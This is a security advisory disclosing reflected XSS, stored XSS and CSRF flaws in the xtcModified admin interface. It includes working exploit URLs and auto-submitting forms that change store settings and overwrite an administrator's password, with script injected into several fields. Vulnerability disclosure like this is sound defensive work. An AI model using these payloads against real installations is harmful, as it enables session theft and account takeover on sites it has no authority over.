Multiple Vulnerabilities in xtcModified

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in xtcModified which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in xtcModified
1.1 The vulnerability exists due to input sanitation error in the "search" parameter in admin/customers.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin/customers.php?search=1"><script>alert(document.cookie)</sc ript>
1.2 The vulnerability exists due to input sanitation error in the "status" parameter in admin/orders.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin/orders.php?selected_box=customers&status=2"><script>alert( document.cookie)</script >

2) Cross-site request forgery (CSRF) vulnerabilities in xtcModified
2.1 The vulnerability exists due to insufficient validation of the request origin in admin/configuration.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website configuration. Due to insufficient sanitation of input data in the "STORE_NAME" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation examples:
<form action="http://host/admin/configuration.php?gID=1&action=save" method="post" name="main">
<input type="hidden" name="STORE_NAME" value='My Store"><script>alert(document.cookie)</script>'>
<input type="hidden" name="STORE_OWNER" value="Owner">
<input type="hidden" name="STORE_OWNER_EMAIL_ADDRESS" value="email@example.com">
<input type="hidden" name="STORE_COUNTRY" value="81">
<input type="hidden" name="STORE_ZONE" value="80">
<input type="hidden" name="EXPECTED_PRODUCTS_SORT" value="desc">
<input type="hidden" name="EXPECTED_PRODUCTS_FIELD" value="date_expected">
<input type="hidden" name="DISPLAY_CART" value="true">
<input type="hidden" name="ADVANCED_SEARCH_DEFAULT_OPERATOR" value="and">
<input type="hidden" name="STORE_NAME_ADDRESS" value="address">
<input type="hidden" name="CURRENT_TEMPLATE" value="xtc5">
</form>
<script>
document.main.submit();
</script>
2.2 The vulnerability exists due to insufficient validation of the request origin in admin/customers.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials. Due to insufficient sanitation of input data in the "memo_title" and "memo_text" parameters it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.

Exploitation examples:
<form action="http://host/admin/customers.php?cID=1&action=update" method="post" name="main">
<input type="hidden" name="default_address_id" value="1">
<input type="hidden" name="customers_gender" value="m">
<input type="hidden" name="csID" value="">
<input type="hidden" name="customers_firstname" value="FirstName">
<input type="hidden" name="customers_lastname" value="LName">
<input type="hidden" name="customers_dob" value="01/01/2007">
<input type="hidden" name="customers_email_address" value="email@example.com">
<input type="hidden" name="entry_company" value="company">
<input type="hidden" name="entry_password" value="mypass">
<input type="hidden" name="memo_title" value='mmtitle"><script>alert(document.cookie)</script>'>
<input type="hidden" name="memo_text" value='txt"><script>alert(document.cookie)</script>'>
</form>
<script>
do cument.main.submit();
</script>